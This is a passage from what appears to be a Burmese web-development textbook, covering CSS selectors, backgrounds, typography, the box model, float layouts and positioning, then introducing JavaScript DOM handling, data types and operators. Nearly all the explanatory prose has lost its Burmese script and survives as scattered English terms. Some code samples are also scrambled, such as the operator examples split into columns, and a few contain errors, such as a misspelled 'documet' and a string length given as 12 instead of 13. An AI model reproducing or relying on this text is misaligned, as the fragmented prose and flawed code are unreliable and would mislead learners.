Valid Sign # Sign
p strong a {
color: gray;
}

p [space] strong [space] a


"<p> Element
<strong> Element <a> Select " Structure
Inside Link Two Element
Element Select Project

#header a {
text-decoration: none;
color: black;
}
#nav li a.active {
background: black;
color: white;
}
.note strong {
font-weight: normal;
color: red;
}
#footer p {
font-size: 11px;
color: gray;
}
a img {
border: 0 none;
}

Child Selector Descendant


Element
Element Select Descendant Selector Element
Element Selector Child Selector Direct Child
Element Element
Element Select
Descendant Selector Element Structure

Professional Web Developer () Cascading Style Sheets CSS

56

<a href="#">Outside Link</a>


<p>
<a href="#">Inside Link One</a>
<strong><a href="#">Inside Link Two</a></strong>
</p>

<p> Element <a> Element


Select
p > a {
color: gray;
}

Arrow ( > ) Child Selector "<p> Element Direct


Child <a> Element Select " Selector Inside Link One
<a> Element Inside Link Two <a> Element
Direct Child <strong> Element
Child Selector Descendant Selector

Attribute Selector Element Attribute Select
Selector [title] title Attribute Element Select img[alt]
<img> Element alt Attribute Element Select
img[alt="Feature"] <img> Element alt="Feature"
Element Select <input> Element text,
radio, button Type type Attribute Select

input[type=text] {
background: yellow;
border: 1px solid gray;
}
input[type=submit] {
padding: 5px 15px;
}
input[type=radio] {
margin-right: 5px;
}

Descendant Selector, Child Selector Attribute Selector


Element Select

Professional Web Developer () Cascading Style Sheets CSS

57

3.4 Pseudo-classes

Pseudo-class CSS Selector


Element ""
Select Element Mouse
Element Click Element Focus Element
Element Element Style
Select Selector
:hover Pseudo-class Element Mouse Style
a:hover {
color: red;
}

<a> Element Mouse



:hover Pseudo-class Element

Selector
#nav li:hover {
background: green;
}
p:hover a {
color: lightblue;
}

:visited Pseudo-class <a> Element


URL
Link URL Link Style
Google Search Wikipedia Website
Link Link

Link :visited Style

a {
color: blue;
}
a:visited {
color: gray;
}

Professional Web Developer () Cascading Style Sheets CSS

58

Link Link

:active Pseudo-class Element Click ( ) Touch
Style Element
Click
Element

button:active {
background: gray;
}

:focus Pseudo-class Form Input Element <input> <textarea> <select>


Element Focus
input[type=text] {
background: white;
}
input[type=text]:focus {
background: yellow;
}

Text Input
Element
Cursor Focus

Pseudo- class Attribute Selector

:first-child Pseudo-class Select Element Element

Style
:last-child Pseudo-class
:last-child Select Element Element
Style
#nav li:last-child {
border: 0 none;
}
#page p:first-child {
font-weight: bold;
}

Professional Web Developer () Cascading Style Sheets CSS

59

3.5 Grouping Selectors

Selector Group Style CSS


Rule
p.note {
background: #efefef;
font-size: 12px;
}
#footer .copyright {
background: #efefef;
font-size: 12px;
}
code {
background: #efefef;
font-size: 12px;
}

Rules

p.note, #footer .copyright, code {
background: #efefef;
font-size: 12px;
}

Selector Comma (,) Group Selector CSS


Selector jQuery JavaScript
Framework

3.6 Basic Properties and Values


Background

Layout CSS Property


Element Background CSS Background Property ()
background-color,
background-image,
background-repeat,
background
-attachment background-position Background Property
Element
background-color Property

Professional Web Developer () Cascading Style Sheets CSS

60

p {
background-color: yellow;
}

background-color Property Color Value black, white,


red, green, blue, yellow, cyan, brown, gray Color Name
Color Name

black white Name
Color Value RGB Function

Screen Red, Green, Blue
CSS RGB Value

p {
background-color: rgb(255, 255, 0);
}

<p> Element rgb() Function


Parameter Red, Green, Blue
0 255 rgb(255, 0, 0) Solid Red
Red 255 Green Blue 0
rgb(0, 255, 0) Solid Green, rgb(0, 0, 255) Solid Blue
rgb(0, 0, 0) Screen
rgb(255, 255, 255)
rgb(200, 0, 0)
Red 200 Green Blue 0
( ) rgb(255, 255, 0)

rgb() Primary Color

(-) CSS RGB Color

Professional Web Developer () Cascading Style Sheets CSS

61

Color Value Hex Value Hexadecimal


p {
background-color: #FFFF00;
}

Hex Value
# Sign
() Hexadecimal
Decimal Number system 0 9 ()
Hexadecimal 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, A, B, C, D, E, F ()
Number System
Hex FF Decimal 255 Hex Value
00 FF () FFFF00 R = FF, G =
FF B = 00 Red Green FF
Green 00

(-) CSS Hex Color


Hax Value () ()
- #FFFF00 #FF0 #88AADD #8AD #FFFFFF #FFF
#000000 #000
#ffff00

Color Value Background Color Color


Name, RGB Hex Value background-color Border
Color Value
RGB Color

Color Code
Color Picker Tool ColorZilla Firefox

Professional Web Developer () Cascading Style Sheets CSS

62

Addon Addon Website


Color Circle Color Code Color Code
Hex, RGB, CSS3 Color Function HSL, Print Design CMYK
Color Name
Web Developer Browser Addon

(-) ColorZilla Firefox Addon


Link: http://www.colorzilla.com/
Google Chrome Browser Extension Install

CSS Background Property Background Image
background-image Property Background Image
Element Background Image Element
Background Image Background Image
Size CSS
Background Image
Size Element "
Background " CSS
CSS3 Multiple-Background Background-Size

Professional Web Developer () Cascading Style Sheets CSS

63

alert.png Image

alert.png
Image <p class="alert"> Element Background

p.alert {
background-image: url("alert.png");
}

background-image Property Value url() Function


url() Image File Path

(-) CSS Background Image Property


<p> Element alert.png Image Browser Repeat
Repeat background-repeat
Property CSS

Professional Web Developer () Cascading Style Sheets CSS

64

p.alert {
background-image: url("alert.png");
background-repeat: no-repeat;
}

background-repeat Property Value () repeat, repeat-x,


repeat-y no-repeat repeat Default Value repeat-x
Image Repeat (Horizontal) repeat-y Image
Repeat (Vertical) no-repeat
Repeat

(-) CSS Background Repeat


Repeat
Image Position background-position Property

Background

p.alert {
background-image: url("alert.png");
background-repeat: no-repeat;
background-position: top right;
}

background-position Property Value Vertical Position Horizontal


Position top bottom center
right left center top right

Professional Web Developer () Cascading Style Sheets CSS

65

(-) CSS Background Position


Position Name - backgroundposition: 10px 20px; Position Element Left 10px Element
Top 20px

Background Property () () background-attachment


Background Image Screen Viewpoint Attach backgroun
d-attachment: fixed; Background Document Attach
Scrollbar
Content Background

background-attachment: fixed;
Scroll
Background Image
CSS Shorthand
Background Property

p.alert {
background: #FFFFDD url(alert.png) no-repeat top right;
}

background-color, background-image, background-repeat backgroundposition background Property Value




Value Color Image
Repeat Attachment Position Value
Color Position
Value
Value
Attachment

Professional Web Developer () Cascading Style Sheets CSS

66

Property
p.alert {
background: #FFD url(alert.png) no-repeat 10px center;
border: 2px solid #DDA;
padding: 10px 10px 10px 50px;
border-radius: 5px;
}

border, padding, border-radius Property Property


(-) CSS Background


<p> Element Application Interface

CSS

Text and Font

Warning Message

(Text Color) CSS color Property Value


Background Color Color Value
( ) Alignment text-align
Property Value left, right, center, justify

Professional Web Developer () Cascading Style Sheets CSS

67

h1 {
color: #224477;
text-align: center;
}
p {
color: #555;
text-align: justify;
}



Web
Screen text-indent Property

p {
text-indent: 50px;
}

Underline text-decoration Property


text-decoration Property Underline <a>
Element Browser Underline
Underline text-decoration Property Value none

a {
text-decoration: none;
}
a:hover {
text-decoration: underline;
}

none underline text-decoration Property Value


overline, line-through, blink overline
blink
90'
line-through
none underline
(Font) font-family Property Value
Font

Professional Web Developer () Cascading Style Sheets CSS

68

p {
font-family: Arial, Helvetica, sans-serif;
}

Fallback Arial
Font Browser <p> Element Arial Helvetica
Helvetica sans-serif Font
Font Browser Default Font

Document Font

p {
font-family: Padauk, Maynamr3, "Myanmar Text";
}

"Myanmar Text" Quote


Font Name Space Quote
Myanmar Text Font Windows 8 Default
Myanmar Font
Zawgyi Font
Zawgyi Font font-family: zawgyi-one; Zawgyi
Font Web Standards
Web Font
Unicode Consortium
Microsoft, Apple
Operating System Unicode Font OS
Google, Wikipedia Website Website
Unicode
Web Developer

Bold ( ) Bold Bold fontweight Property font-weight: bold; Bold


font-weight: normal; Bold <h1> <h2> <h3>
Heading Element Bold fontweight: normal;
Italic ( ) Italic Italic fontstyle Property font-style: italic; Italic

Professional Web Developer () Cascading Style Sheets CSS

69

font-style: normal; Italic


Web Document Typography


Design Development Typography

Bold Italic Emphasis


Bold Emphasis

(-)

(-) Emphasis in Typography


source:

http://www.aisleone.net/2009/design/8-ways-to-improve-your-typography

Size
font-size Property CSS font-size
Size Unit px, pt, in, mm, em, %
pt, in, mm Unit Screen
Screen Resolution 1in 1 inch Screen
() px, em % px Unit Size
" " font-size: 13px; 13px

Professional Web Developer () Cascading Style Sheets CSS

70


em % Relative Unit Size font-size:
200%; " Size Size "
font-size: 80%; " Size "

Parent Element
Element Structure <body>
<p>

<b> </b>
</p>
</body>

<body> Element Fix Size Element Relative Unit %

body {
font-size: 16px;
}
p {
font-size: 200%;
}

/* 32px */

p b {
font-size: 40%;

/* 12px (40% of 32px) */

}
CSS /* */
/* */

em Unit
% 1.5em " " 3em
" " " " "
" font-size
Size
width: 30em; Element ()
width: 50%;
em % font-size
Size Border Size, Width, Height, Margin, Padding

Professional Web Developer () Cascading Style Sheets CSS

71

px Fixed Unit % em Relative Unit Web


Developer Relative Unite

User Setting Design
Detail
Fixed Unit Browser Function Zoom-In/Zoom-Out

Accessibility

Relative Unit

Internet Explorer 6 Font Size px


Browser Zoom-Out
Internet Explorer 6 1%

Design
Decision
px Unit () Mobile Web em %

Typography
Size Balance


Balance
(-)

(-) Typographic Scale


source:

http://www.aisleone.net/2009/design/8-ways-to-improve-your-typography

Text
Property line-height
- font-size 16px
16px
Typography

line-height Size

Professional Web Developer () Cascading Style Sheets CSS

72

body {
font-size: 16px;
line-height: 1.5em;
}

line-height 1.5em font-size line-height


line-height
line-height: 22px;

(-) Line Height in Typography


source:

http://www.aisleone.net/2009/design/8-ways-to-improve-your-typography

(-) Line Height


Line
Height Vertical Rhythm

Line Height


(-)

Professional Web Developer () Cascading Style Sheets CSS

source:

73

(-) Vertical Rhythm in Typography


http://www.aisleone.net/2009/design/8-ways-to-improve-your-typography

Property letter-spacing word-spacing


letter-spacing
word-spacing
p {
letter-spacing: -1px;
word-spacing: 4px;
}

letter-spacing -1px

Minus
Measure


()
width
Property

Professional Web Developer () Cascading Style Sheets CSS

p {
font-size: 14px;
width: 30em;
}

(-)

source:

(-) Measure in Typography


http://www.aisleone.net/2009/design/8-ways-to-improve-your-typography

74

Professional Web Developer () Cascading Style Sheets CSS

75

Styling Lists and Tables

<ul> <ol> Element Document List Bullet Number Style


list-style-type Property Marker
Number Bullet Value circle (),
disc(), square(), decimal (1-2-3), lower-alpha (a-b-c), lower-roman (i-ii-iii),
upper-alpha (A-B-C), upper-roman (I-II-III) armenian, georgian, greek
Value list-style-type <ul>
disc Default <ol> decimal Default
Bullet Number none List
Bullet none
List Property list-style-image List Marker Bullet
Number Icon Image
ul {
list-style-image: url(arrow.png);
}

list-style-image Value background-image url()


<table> Element Style Property
border-spacing border-collapse border-spacing Property Table
Cell border-collapse Table
Cell Border Style
(-) Table Style
table {
border-spacing: 1px;
background: #247;
}
td {
background: white;
border-collapse: collapse;
}
th {
color: white;
}

Professional Web Developer () Cascading Style Sheets CSS

76

(-) CSS Table Style


border-spacing: 1px; table border-collapse:
collapse; td Cell
Border Border Table Background Color Cell
Space Border
Table Border

CSS Property CSS HTML
Document

3.7 External CSS

CSS Rule File css Extension ( style.css, layout.css, widget.css) File File
File Content-Type Attribute File

Professional Web Developer () Cascading Style Sheets CSS

77

Extension css Content-Type Attribute


CSS Style File CSS File Web Document
<link> Element <link rel="stylesheet" href="style.css">

<link> Element Favicon, RSS Resource


rel Attribute stylesheet href Attribute CSS File
URL Document style.css

<link> Element <head> Element
- Browser <body> Element
Style

<link> Element <head> Element
css Extension CSS Style File HTML Document
External CSS
External CSS
()
Style HTML Document Semantic Data Structure
CSS

() CSS Style File HTML Document


Style Reusable Style
File Style File
Document Effect
Cache Document
Style File Browser Cache Style File
Document Style File Cache
Performance

3.8 Internal CSS

CSS HTML Document <style> Element


HTML Document Internal CSS
Document
Style External CSS Style
Reusable Internal CSS
<head> Element

Professional Web Developer () Cascading Style Sheets CSS

78

<style>
body {
font-size: 16px;
line-height: 1.5em;
color: #222;
}
h1 {
font-size: 21px;
font-weight: normal;
}

</style>

<style> Element type="text/css" Attribute


CSS Style Language type Attribute
Browser CSS

3.9 Inline CSS

Element style Attribute Element


Inline CSS Element

Selector Property Value
<p style="color:red; font-style:italic;"> </p>

Inline CSS Style HTML Element


CSS HTML <font> <center> Style
Element bgcolor, border Style Attribute Element
Attribute
Inline CSS JavaScript Interactive User Interface
JavaScript Interface Interaction Inline CSS
JavaScript
Inline CSS JavaScript Document Style

3.10 Multiple Style Sheets and Cascading Order

Browser Style
Default External Style Internal Style Inline
Style Cascading Order
Style

Professional Web Developer () Cascading Style Sheets CSS

79

Element External Style Rule Internal Style Rule


Internal Rule External Rule Overwrite Internal Rule
Inline Style Inline Style
Overwrite
HTML Document External Style
External Style Rule
Browser CSS Rule (Line-by-Line)
Rule
Rule Rule Overwrite <link> Element
CSS File Style File Style
( ) Overwrite
/* First Declaration for <h3> */
h3 {
font-size: 18px;
text-align: center;
color: red;
}

/* Another Declaration for <h3> again */


h3 {
font-size: 21px;
text-align: left;
}

h3 Selector CSS Rule


font-size, text-align color font-size
text-align font-size
text-align color h3

h3 {
font-size: 21px;
text-align: left;
color: red;
}

Rule Priority

Element ID Class

Professional Web Developer () Cascading Style Sheets CSS

80

[HTML]
<p id="note" class="note"> </p>
[CSS]
#note {
background-color: #FFFFDD;
}
.note {
background-color: yellow;
}

Element ID Class Select Class Select


ID Select background-color:
#FFFFDD; ID Selector Class Selector Priority
Priority Selector
#nav li a {
text-decoration: underline;
}
li a {
text-decoration: none;
}

li a Selector #nav li a Selector


text-decoration: underline; Priority
!important Marker Force #nav li a {
text-decoration: underline;
}
li a {
text-decoration: none !important;
}

Priority #nav li a li a text-decoration: none !important


Marker text-decoration: none

3.11 Display Types

HTML Element Display Type


Block Inline
Block Element Parent Element
(Width)
Element width height Property

Element

Professional Web Developer () Cascading Style Sheets CSS

81

<h1> <h6> <p> <ul> <li> Element Block Element



Inline Element Block Element Content

Element Content
Element Inline Inline
Element


Element <b> <i> <em> <strong>
Formatting Element <a> Element Inline Element
Element Display Type display Property - Inline Element
<a> Element Block
a {
display: block;
}

Block Element Inline display: inline;


Block Inline Inline Element
Block width, height Property
Inline Element


Block

<a> Element
a {
display: block;
width: 200px;
height: 40px;
text-align: center;
line-height: 40px;
text-decoration: none;
background-color: #519B7E;
color: #FFF;
border-radius: 20px;
}

Professional Web Developer () Cascading Style Sheets CSS

82

Link Button display: block;



width height
Property border-radius Property
line-height height
height line-height
CSS Element Horizontal Align
text-align Property Vertical Align
Vertical Align Center

3.12 Layouts

Web Document Layout Block Element


Element <div> Element <div> Element Block Element
Generic Element

Block Element Block
Element <div>
<div> Generic Element <span> Inline Element
Inline Element Element <span> Element

Layout float Property float Property Block


( ) Property Block Element
Element float
Element
(-)

Professional Web Developer () Cascading Style Sheets CSS

83

(-) CSS Layout


(-) (A) (B) (A) Block Element () width,
height, background-color Block Width

(B) float Property width: 600px Main

Professional Web Developer () Cascading Style Sheets CSS

84

Content float: left width: 200px


Element Block

float: left
Element clear: both
float Element


float Element

float clear "Block float
Element clear " Layout Design
Block
(-) (B) Layout
layout.html File Name
<!doctype html>
<html>
<head>
<title>CSS Layout</title>
<style>
.wrap {
width: 800px;
margin: 20px auto;
}
.header {
height: 100px;
background: #cb1212;
}
.content {
width: 600px;
height: 400px;
background: #519b7e;
float: left;
}
.sidebar {
width: 200px;
height: 400px;
background: #1635a6;
float: left;
}
.footer {
height: 60px;
background: #333;
clear: both;
}
</style>
</head>
<body>

Professional Web Developer () Cascading Style Sheets CSS

85

<div class="wrap">
<div class="header"></div>
<div class="content"></div>
<div class="sidebar"></div>
<div class="footer"></div>
</div>
</body>
</html>

File CSS Internal <style> Element


Property
.wrap margin: 20 auto;
.wrap width: 800px .header .footer (-) width
Block Element width Parent Width

(-) CSS Layout Float Clear


(-) float clear Parent Element
overflow: hidden; Property Value
Child Element
float clear
Element clear: both Layout

Professional Web Developer () Cascading Style Sheets CSS

86

3.13 Box Model

Block Element width height border, margin padding


margin Element Border padding
Element Element Content (-)

(-) CSS Box Model


Block Box Property
#content {
width: 600px;
height: 380px;
border: 4px solid #519b7e;
margin: 20px;
padding: 10px;
background: #ffd;
}

width height Property border Property


Element Border ()
border-size, border-style border-color Border
Border Property border
Value Size, Style, Color
Size Unit Style

Professional Web Developer () Cascading Style Sheets CSS

87

() solid ( ___ ), dotted ( ) dashed ( ------- )


Style Color

Border Margin margin Property Block
Top, Right, Bottom, Left margin: 20px;
20px
margin-top,
margin-right, margin-bottom, margin-left margin
Value
- margin: 10px 20px 0 5px; margin-top: 10px; margin-right:
20px; margin-bottom: 0; margin-left: 5px; Value Top, Right,
Bottom, Left margin: 10px 20px; Value
Top/Bottom 10px Left/
Right 20px
margin-left margin-right Value
auto
Element Layout
margin: 20px auto; margin Top/Bottom 20px Left/Right
auto Layout

0

Border Element Content padding Margin


margin Property padding Property
padding-top, padding-right, padding-bottom, padding-left
margin
Value
margin Minus Value
top: -5px; padding Minus Value

margin-

CSS Box Model


Professional Web Developer () Cascading Style Sheets CSS

88

#content {
width: 600px;
height: 380px;
border: 4px solid #519b7e;
margin: 20px;
padding: 10px;
}

Element width: 600px; Document 600px border: 4px solid #519b7e;


Browser Border width: 600px
Document margin: 20px; padding: 10px;
Document

Element width: 600px;



668px 600 (width) + 8 (border
left/right) + 40 (margin left/right) + 20 (padding left/right) height: 380px

448px - 380 (height) + 8 (border left/right) + 40 (margin
left/right) + 20 (padding left/right) Layout
Element width height
border, margin, padding

(-) Content Width vs. Actual Width

Professional Web Developer () Cascading Style Sheets CSS

89

Layout Box Property


Website Drop Down Menu
<!doctype html>
<html>
<head>
<title>CSS Drop-Down Navigation</title>
<style>
.nav, .sub {
font-family: Arial, Helvetica, sans-serif;
list-style: none;
margin: 0;
padding: 0;
}
.nav li {
background: #cb1212;
height: 40px;
line-height: 40px;
text-align: center;
width: 160px;
}
.nav li a {
display: block;
text-decoration: none;
color: #fff;
}
.nav li a:hover {
background: #f00;
}
.nav > li {
border-right: 1px solid #f00;
float: left;
}
.sub {
display: none;
}
.nav > li:hover .sub {
display: block;
}
.sub li {
border-top: 1px solid #f00;
}
</style>
</head>
<body>
<ul class="nav">
<li><a href="#">Home</a></li>
<li><a href="#">About</a></li>

Professional Web Developer () Cascading Style Sheets CSS

90

<li><a href="#">Contact</a></li>
<li>
<a href="#">Services &raquo;</a>
<ul class="sub">
<li><a href="#">Social Media</a></li>
<li><a href="#">Web Development</a></li>
<li><a href="#">SEO</a></li>
</ul>
</li>
<li><a href="#">Products</a></li>
</ul>
</body>
</html>

File Name
HTML
Structure <ul> Element Menu List <li> Element
<ul> Element Sub-Menu
Services
&raquo; HTML Right Arrow Symbol ( )
CSS .nav, .sub Select <ul> list-style: none margin: 0;
padding: 0; Bullet
<li> Block Element <li> .sub > li
Select float: left;
Child Selector Direct
Child <li> float <ul class="sub">
<li>
.sub display: none; display
Property Inline/Block none Value
display: none Sub Menu
.nav > li:hover .sub display: block; li
Mouse
Sub Menu
JavaScript Dorp-Down Menu

(-) CSS Drop-Down Menu

Professional Web Developer () Cascading Style Sheets CSS

91

3.14 Position Properties

Element Document
Regular Flow Element Regular Flow
\ CSS position
Property absolute top/bottom, right/left Property

#box {
position: absolute;
top: 100px;
left: 150px;
}

Element #box Document


Border top: 100px; left: 150px;
HTML Element Default Position Value static position Property

Value relative position:
absolute; Element Document Border
Document Border Parent Element
Parent Element position: relative;
[HTML]
<div id="out">
<div id="in"> </div>
</div>
[CSS]
#out {
position: relative;
}
#in {
position: absolute;
top: 100px;
left: 100px;
}

#in Element top: 100px; left: 100px; #out


Border

Professional Web Developer () Cascading Style Sheets CSS

92

(-) Static vs. Relative Position


Position Value fixed fixed absolute
absolute Position Element Document Attach
fixed Position Screen View Point Attach backgroundattachment
position Property Layout
Layout Flexible
position JavaScript User
Interface Element ( - Popup Calendar, Modal Dialog, Tabbed
Panel, etc...) JavaScript User Interface
Element Property
z-index Property Element
Overlap Element

#box-one {
position: absolute;
top: 100px;
left: 100px;
width: 400px;
height: 280px;
background: #ff0;
z-index: 2;
}

Professional Web Developer () Cascading Style Sheets CSS

93

#box-two {
position: absolute;
top: 150px;
left: 150px;
width: 400px;
height: 280px;
background: #8a5;
z-index: 1;
opacity: 0.8;
}

#box-one z-index: 2 #box-two z-index: 1


#box-one
opacity Property Element Transparency Level
1 0 Element
0 1 Transparency Level

Conclusion

CSS2.1

Layout
float, clear
Layout
HTML5 CSS3 Layout
Flex Box Box Model Margin,
Padding, Border Width, Height Bordered Box
Mobile Devices Website
Device Resolution Screen Size Media Query
Gradient, Box Shadow Visual Effect Animation
Font Website
Font Font Font Embed
Border Image, Multiple Background,
Background Image Size
() HTML5 CSS3
() Mobile Web CSS3 Media Query
CSS3 CSS4 CSS5
CSS

Web Development Course


Course ()
()
Email: eimg@fairwayweb.com
Website: http://eimaung.com/courses

Professional Web Developer () JavaScript

95

() JavaScript
It's All about DOM Though

JavaScript Programming Language Mozilla Corporation CTO Brendan Eich


Netscape Navigator Web Browser
Client-side Script Language JavaScript Desktop Widgets
Mobile Application Server-Side Script

Java Java JavaScript
Language Java JavaScript C/C++
Java JavaScript
Language JavaScript Java
Scheme, Lisp, Self
Language

JavaScript Mocha
LiveScript JavaScript
JavaScript Java Programming Language
Netscape Language Promote Java
JavaScript
Java
Netscape Navigator Browser Java Build-in

Java JavaScript Man Mango

JavaScript Microsoft
Internet Explorer 3 JavaScript
JavaScript Industrial Standard ECMA International
ECMA Script Industrial Standard
JavaScript Web Browser Script Language

Professional Web Developer () JavaScript

96

Ajax Language
Ajax JavaScript Ajax
() Ajax with jQuery Web
Document Application Platform
NodeJS Server-side JavaScript
HTML5 Application Development
JavaScript API JavaScript
Soft
ware Development HTML5 ()
NodeJS Rockstar
Developer ()
C/C++, Java, C#, Objective-C, PHP, Ruby, Python
Programmer JavaScript
JavaScript Programming
Programming Language

4.1 Nature of JavaScript

JavaScript Multi-Paradigm Language Programming Language Imperative


Language, Object-oriented Language, Function Language Paradigm
JavaScript
JavaScript Line-by-Line Imperative
Imperative

Programming Code (Command) Program
JavaScript C Programming Language
Control Structure (Syntax) Control Structure Function
Loop Conditional Statement Java, C#, PHP JavaScript C
Language

JavaScript Object-oriented
Object-oriented Language
Object Class JavaScript Class
Object Class Object-oriented
Language Classical OOP
JavaScript Prototype OOP
JavaScript
Object JSON (JavaScript Object Notation) ()
jQuery JavaScript OOP Rockstar Developer
()
JavaScript Functional Programming Language
Nameless Function Closure Callback Function

Professional Web Developer () JavaScript

97

First Class Citizen - Function


Function Parameter Function Variable
Function Inner Function Nested
Function Nameless
Function ()
JavaScript Script Language C/C++, Java, C# Language Compiled
Language

Compiled Language Program
Machine Code Compile Compile
PHP, Ruby, Python JavaScript Script Language
Script Language Program Compile
Language
Compiled Language Script Language Compiled
Language Pre-Compile Performance
Compile Scripting Language
Program Run Interpreter
Machine Code Performance Compiled Language
Script Language Productive Productive Code

PHP JavaScript Program Workflow
Code Editor Browser Code
Browser Code
Compile Language
Compile
Run JavaScript Program Browser JavaScript Console Run
Run Code Program
Compiled Language Program
Debug Run Program
Compile

JavaScript Dynamic Type Language Type Checking Compile Time
Runtime Language Type Boolean,
Number, String Data Type Object Hierarchy Developer
Data Type Language -

Professional Web Developer () JavaScript

98

var x = 123;

- Variable x Data Type Number


Integer Language x = "Hello, World!";

- Variable x Data Type String Language


Dynamic Type JavaScript Script Language


Data Type

4.2 Purpose of JavaScript

Client-side JavaScript DOM Manipulation, Ajax HTML5 API


DOM Manipulation
DOM Document Object Model
DOM HTML Document
Element JavaScript API
Document Element Element Element
Content Element
Element JavaScript
Event
JavaScript DOM Manipulation
- Click Menu
Select Box
JavaScript Language
DOM Manipulation

4.3 Drop-Down Menu

CSS Drop-Down Menu :hover Pseudo-class


Menu Mouse
Sub Menu
Menu Mouse Click JavaScript
() Event, Function DOM Selector
(-)

Professional Web Developer () JavaScript

99

(-) HTML Event Attribute


(-) <button> Element onClick Attribute Attribute
Value Element Click JavaSccript Code

onClick Event Attribute


onDblClick, onMouseOver,
onMouseOut, onMouseMove, onKeyPress, onKeyDown, onKeyUp Attribute
onLoad onUnLoad Attribute <body> Element
onFocus, onBlur, onChange, onSelect, onSubmit Attribute
Form Element

Event Attributes Value JavaScript Code
JavaScript Code Attribute Value
Function

Professional Web Developer () JavaScript

Function
(-)

100

(-) JavaScript Function and ID Selector


Function function Keyword
Function


Function Underscore ( _ )


Space % + - / @ Special Character
JavaScript Keyword

JavaScript Keyword
abstract, boolean, break, byte, case, catch, char, class, const, continue, debugger, default, delete, do, double,
else, enum, export, extends, false, final, finally, float, for, function, goto, if, implements, import, in, instanceof, int,
interface, long, native, new, null, package, private, protected, public, return, short, static, super, switch,
synchronized, this, throw, throws, transient, true, try, typeof, var, volatile, void, while, with

Professional Web Developer () JavaScript

101

(-) changeColor() Function


Code Semi-colon ( ; ) Semi-colon
JavaScript

Semi-colon
var obj obj Variable C, Java
Static Type Language int i, float pi, String str Variable Data Type
JavaScript Dynamic Type Data Type
var Keyword
document.getElementById ID Selector CSS JavaScript
Element Select document.getElementById
Element id "note"

id="note"
Element JavaScipt DOM API Select

var obj = documet.getElementById("note");

- id="note"
Element Select obj Variable
obj Variable id="note"
Element
document.getElementById
JavaScript Case Sensitive

obj.style.color="red" (-)
color CSS Property
"red" CSS Value
background-color CSS Property backgroundColor
Dash ( - ) JavaScript Minus Operator Dash
- obj.style.backgroundColor = "yellow" CSS Property

changeColor() Function id="note" Element


Function
Function
(-) (-)
<button> Click
changeColor() Function id="note"

Professional Web Developer () JavaScript

102

Element <button>


- document.getElementById("note").style.color = "red" Select
Element Variable Cache

Event, Function, DOM ID Selector Document Element


Drop-Down Menu Code

<!doctype html>
<html>
<head>
<title>CSS Drop-Down Navigation</title>
<style>
.nav, .sub {
font-family: Arial, Helvetica, sans-serif;
list-style: none;
margin: 0;
padding: 0;
}
.nav li {
background: #cb1212;
height: 40px;
line-height: 40px;
text-align: center;
width: 160px;
}
.nav li a {
display: block;
text-decoration: none;
color: #fff;
}
.nav li a:hover {
background: #f00;
}
.nav > li {
border-right: 1px solid #f00;
float: left;
}
.sub {
display: none;
}
.sub li {
border-top: 1px solid #f00;
}
</style>

Professional Web Developer () JavaScript

103

</head>
<body>
<ul class="nav">
<li><a href="#">Home</a></li>
<li><a href="#">About</a></li>
<li><a href="#">Contact</a></li>
<li onClick="toggleSub()">
<a href="#">Services &raquo;</a>
<ul class="sub" id="sub">
<li><a href="#">Social Media</a></li>
<li><a href="#">Web Development</a></li>
<li><a href="#">SEO</a></li>
</ul>
</li>
<li><a href="#">Products</a></li>
</ul>
<script>
function toggleSub() {
var obj = document.getElementById("sub");
if( obj.style.display == "block" ) {
obj.style.display = "none";
} else {
obj.style.display = "block";
}
}
</script>
</body>
</html>

() CSS Drop-Down Menu HTML/CSS Sub-Menu


<li> Element onClick="toggleSub()" <li>
Element Click toggleSub() JavaScript Function
CSS Internal Style <style> Element Document Java
Script <script> Element language=
"javascript", type="text/javascript" Attribute <script> Element
JavaScript Browser
Client-side Language Attribute Browser JavaScript

function toggleSub() {

var obj = document.getElementById("sub");

if( obj.style.display == "block" ) {

obj.style.display = "none";

} else {

obj.style.display = "block";

}
}

Professional Web Developer () JavaScript

104

<script> Element toggleSub() Function


var obj = document.getElementById("sub") Sub-Menu Select
obj Variable Sub-Menu Element <ul> id="sub"

if Statement "sub"
Display Style block none block block

Menu Sub-Menu Sub-Menu
if Statement (-)

(-) JavaScript if Statement


JavaScript Programming Basic
Programming Variable, Array, Operator,
Conditional Statement, Loop JavaScript
Programing Language

Professional Web Developer () JavaScript

105

4.4 Data Type and Array

JavaScript Data Type () boolean, number string


null undefined Data Type Special Value boolean
Data Type true false
Language
JavaScript
Number

int, float, double, long Number Data Type


Language double 64-bit Floating Point
NaN Number Data Type
Not a Number

string Data Type Single Quote ( ' ) Double Quote ( " )


length
Property
var greet = "Hello, World!";
var len = greet.length;

// => 12

Data Type
Data Type

Dynamic Type Language

JavaScript Code Comment // Operator


JavaScript // CSS /*
*/
// /* */

JavaScript Variable var Keyword


var Keyword

Array Array
var months = [];
months[0] = "Jan";
months[1] = "Feb";
months[2] = "Mar";

( )

Professional Web Developer () JavaScript

106

var months = ["Jan", "Feb", "Mar", ];

Array
Index


Array Index Zero (0) Array
length Property
var months = ["Jan", "Feb", "Mar", "Apr", "May"];
var len = months.length; // => 5
Static Type Language Array Data
Type JavaScript

4.5 Operators

(+), (-), (*), (/) Operator



Modulus (%) Operator
var
var
var
var
var

x
r
a
x
i

=
=
=
=
=

y + z;
123;
3.14 * r * r;
(a * a) / (b + c) 3;
5 % 3;

// => 2

+ Operator
var name = "John Doe";
var greet = "Hello " + name;
var price = "$" + 3 + 4;

// => Hello John Doe


// => $34

Equal ( = ) Operator Assign =


Operator Variable +=
-=
*=, /=, %=
var greet = "Hello ";
greet += "Jame Doe";

// => Hello Jame Doe

Professional Web Developer () JavaScript

var x = 8;
x -= 3;

// => 5

++ Operator ()

var x = 5;
x++;
++x;
x--;
--x;

107

//
//
//
//

=>
=>
=>
=>

-- Operator ()

6
7
6
5

==, ===, !=, <, >, <=, >= Operator


boolean true false == Operator
Equal To === Operator Identical "
" == Operator === Operator
Data Type
var x = 5;
var y = 3;
var
var
var
var
var
var

a
b
c
d
i
j

=
=
=
=
=
=

x
x
x
x
5
5

== y;
!= y;
> 5;
>= 5;
== "5"
=== "5"

//
//
//
//
//
//

=>
=>
=>
=>
=>
=>

false
true
false
true
true
false

&& Operator AND AND Operator


true true false
false || Operator OR OR Operator
true true false
false Exclamation (!) NOT
boolean
var x = 5;
var y = 3;
var a = x == y && x == 5;
var b = x == y || x == 5;
var c = !(x == y || x == 5);

// => false
// => true
// => false

Professional Web Developer () JavaScript

108

&& Guard Operator



false true
( ) var len = months.length;
months Array null Error
Program && Guard
var len = months && months.length;

&&
months null boolean false
null len null months.length
Error months null
months.length len months Array length
&& Guard Operator

|| Default Operator
&&
boolean true
